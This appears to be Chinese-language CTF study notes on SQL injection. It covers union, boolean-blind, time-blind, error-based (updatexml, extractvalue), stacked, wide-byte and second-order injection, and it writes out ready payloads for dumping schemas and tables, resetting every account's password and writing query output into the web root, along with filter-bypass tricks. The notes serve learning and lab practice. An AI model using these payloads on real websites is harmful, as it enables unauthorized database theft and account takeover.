sql注入原理
利用了应用程序在处理用户输入时的不严谨,输入字符闭合原来的后端数据库语句,从而获取敏感信息甚至获取主机权限等等
举例:select * from database where name='???'; 这里的???如果输入 1' or 1=1 #的payload
构造的话原语句的条件就会变成 1=1 恒成立,后面的内容被注释掉了,从而顺利查询到信息
注入点判断
位置判断:
1.一般页面的登录验证界面
2.用抓包工具抓到的http请求,在http头进行注入,或者在url栏中改对应的参数
注入点的类型(原语句用什么符号闭合):
注入点类型 | 判断方法 | 例子 | 可能出现的源代码 |
---|---|---|---|
数字型注入点 | 通过 |
|
|
|
| ||
字符型注入点 | 通过单引号闭合和 |
|
|
|
| ||
搜索型注入点 | 通过 | pt%' and 1=1 and '%'=' | SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%' |
以上是基本类型判断,下面是再具体一点的判断
WHERE id= 1;#整形(数字型)闭合
WHERE id='1'; #单引号闭合
WHERE id="1";#双引号闭合
WHERE id=('1');#单引号加括号
WHERE id=("1");#双引号加括号
注入常见方式(判断注入点之后)
联合注入
原理
利用sql语句中的union关键字联合查询到内容
例子:Select * from Article where id='-1' union select 1,2,3--+' 在知道对方是几列的前提下,联合查询内容,其中的1可以用database()替代,或者version()等等函数查询到敏感内容
步骤
判断查询列数
使用order by 关键字
1' order by 1--+ 改变1(注意这里根据注入点类型灵活变化,本质是闭合语句然后构造)
例子:如果order by 4回显错误,可以判断出当前sql语句按照第四列排序错误也就是没有第四列,于是得到结果为3(因为是从1往上加查询的嘛)
爆库表字段内容
须知
information_schema.schemata所有库的名字
information_schema.tables所有表的名字
information_schema.columns所有列的名字
table_schema数据库,table_name数据表
特殊函数
concat(str1,str2,str3)连接字符串的函数
GROUP_CONCAT(column_name)
:告诉数据库将指定列的所有值连接起来。
group_concat(a,' ',b),group_concat的时候中间可以加空格隔开会好看点,也可以用分离器
比如group_concat(a,b SEPARATOR ',')##用逗号隔开
爆敏感信息(随机应变)
1.爆库
?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
2.爆表
1,2,group_concat(table_name)from information_schema.tables where table_schema='66'--+
1,(select group_concat(table_name) from information_schema.tables where table_schema="web2"),3 #
3.爆列
1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+
4.爆内容
表名列名都知道了不会构造建议回去重学sql
注意事项
上面是最简单的注入方式,是基于目标主机直接把数据回显到我们的页面上来的,以下的注入都是基于只有报错回显或者没有回显的前提
布尔盲注
原理
在返回结果只有正确和错误两种界面的情况下,通过长度和字符的对错来判断内容
举例:id =1 and length( database() )=1 联合长度函数判断数据库名字,如果都是对的则页面正常返回正确页面,反之亦然
须知
length()判断长度的函数
substr(a,b,c)这是个截取内容的函数,a是准备截取的字符串,b是字符串中的位置,c是截取的长度
ascii()函数 将截取的字符转换成 ASCLL编码
步骤
判断内容长度
id=1' and length( database() )=1 累加判断
穷举字符
id=1' and ascii(substr(database(),8,1))=121 同上累加判断
一个个枚举太累了,下面奉上python脚本
时间盲注
原理
适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错
举例:
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
if(1=2,1,sleep(1)),如果1=2输出1否则一秒后再回显
须知
MySQL 中的 SLEEP()
函数用于暂停当前线程的执行指定的秒数。
语法:SLEEP(seconds)
步骤
判断闭合
?id=1 and sleep(2)--+
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+
?id=1') and sleep(2)--+
?id=1") and sleep(2)--+
数据库名长度内容
?id=1 and if(length(database())>=5,sleep(3),sleep(1))
?id=1 and if(substring(database(),1,1)='a',sleep(5),sleep(1))
通过穷举爆出各种字段
payload与布尔盲注及其类似自行书写
报错注入
原理
在页面没有回显只有报错信息的前提下使用,类似下面这种报错
须知
XML(eXtensible Markup Language,可扩展标记语言)是一种标记语言,用于存储和传输数据,它可以使用自定义的标记
例子
在sql里面也可以存储xml类型的数据
而UPDATEXML(target, path, new_value)就是一个用于修改 XML 类型数据的函数
-
target
:一个 XML 类型的表达式,表示要修改的 XML 文档。 -
path
:一个字符串,表示要更新的 XML 部分的位置。这个路径使用 XPath 语法来指定。 -
new_value
:一个 XML 类型的表达式,表示新的 XML 内容,用来替换path
指定的部分。
意思就说我们在target文档中把path位置的东西替换成new_value,但是当我们中间的位置出错的时候,就会报错回显内容了
常见的攻击方式:在路径前面加'~',使得路径无效,从而返回我们想要的信息
步骤
?id=1" and 1=updatexml(1,concat('~',(select database())),3) --+
1. 判断报错条件
这个payload用于测试数据库是否对updatexml()
函数的错误信息进行了过滤或处理。
2. 获取所有数据库
3.获取所有表
4.获取所有字段
5.其他注入方式
extractvalue报错注入
extractvalue(xml_fragment, xpath_expression)
xml_fragment:这是一个XML字符
xpath_expression:xpath表达式,指定提取路径
id=1' union select 1,2,extractvalue(1,concat('~',(select database()))) --+也完全类似
略
堆叠注入
原理
分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。所以作者很少用只知道有这么个东西
宽字节注入
原理
什么是宽字节?
一个字节的叫窄字节,大于两个字节的叫宽字节(英文一个字节,中文两个字节)
窄字节编码->ASCII码
宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
反正都是一种编码方式
宽字节注入的应用例子
看到这个代码先别慌,这是一串php代码,把我们在id输入的payload全部使用addslashes转义函数的处理,我们前面使用的单双引号全部被转移符号\转移掉了,那我们怎么饶过呢?
成因:
接着在带入到数据库查询前设置了mysql_query("SET NAMES gbk"),即设定字符集为gbk。漏洞就是由于这个设置导致宽字节注入。我们前面知道宽字节就是窄字节变化来的,这里又设置了宽字节编码,转义函数会将%df ’ (这里有个单引号看着)改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。
我们消除了转义函数的影响,就可以构造payload啦。?id=1%df' 被转义等于没被转义!不理解的直接看结论也不是不行。
二次注入
原理
二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行。
简单来说比如,第一次输入admin' and select * from user --+被过滤了'不起作用,但是经过类似mysql_escape_string转义的数据存入数据库后会被还原,也就是说你的账号是已经注册好的就是"admin' --+",然后你就可以试一下在别的地方它能不能发挥作用,比如在修改密码那里,
语句可能是这样的
UPDATE users SET password = '新密码' WHERE username = '当前用户名';这个时候就没有函数过滤了!!
代入进去就变成了
UPDATE users SET password = '新密码' WHERE username = 'admin' or 1=1 --+ '
所有的账户都被改成这个密码了
这就是二次注入
绕过过滤
注释符被过滤:
--+,# 交替使用(其中一个可能不起作用)
用url编码%23(#)绕过
空格被过滤:
1.空格用/**/sql语句的注释替换掉,执行代码的时候是忽略注释的,然后又能够隔开
2.用url编码%0a绕过
3.反引号`绕过
关键字或者查询内容(flag)被过滤:
1.大小写绕过。比如SeLeCt或者UniOn在sql里面是正常执行的,但是过滤的时候过滤的是select,union等等
2.模糊查询 %fl%,查询的时候遇到类似的内容就会回显
3.查询的内容被过滤还可以输出到网站目录下的
?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+
略
总结
过滤方式千千万,唯有思路不能忘。